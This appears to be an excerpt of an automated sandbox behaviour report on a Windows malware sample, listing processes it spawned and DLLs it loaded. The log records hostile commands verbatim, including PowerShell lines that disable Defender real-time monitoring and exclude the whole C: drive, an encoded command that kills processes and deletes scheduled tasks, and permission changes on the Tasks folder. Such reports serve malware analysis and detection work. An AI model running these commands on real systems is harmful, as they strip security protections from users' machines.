Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Users\mig.exe "C:\users\mig.exe"	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 start MicrosoftESS	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 start MicrosoftESS	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAAoAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABXAG0AaQBpAGMALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAVwByAGEAcAAuAGUAeABlAAoAYwBtAGQAIAAvAGMAIAB0AGEAawBlAG8AdwBuACAALwBGACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzACIACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIgAgAC8ARgAKAGMAbQBkACAALwBjACAAdABhAGsAZQBvAHcAbgAgAC8ARgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAbQBpAGcAcgBhAHQAZQAuAGUAeABlACIACgBjAG0AZAAgAC8AYwAgAGQAZQBsACAALwBGACAALwBRACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABtAGkAZwByAGEAdABlAC4AZQB4AGUAIgAKAAoA
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\programdata\ru.bat" "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" stop wmservice
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im migrate.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im IntelConfigService.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im MSTask.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Superfetch.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Wmiic.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Wrap.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c takeown /F c:\windows\tasks
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /delete /tn WindowsUpdate /F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c takeown /F C:\ProgramData\migrate.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c del /F /Q C:\ProgramData\migrate.exe
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 stop wmservice
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\takeown.exe takeown /F c:\windows\tasks
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\takeown.exe takeown /F C:\ProgramData\migrate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K "c:\programdata\st.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FI "IMAGENAME eq Superfetch.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find /I /N "Superfetch.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\takeown.exe takeown /f c:\windows\tasks
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe TIMEOUT /T 3 /NOBREAK
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -ExclusionPath c:\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "S-1-1-0:(R,REA,RA,RD)" "S-1-5-7:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "user:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "user:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: windowscodecs.dll	Jump to behavior
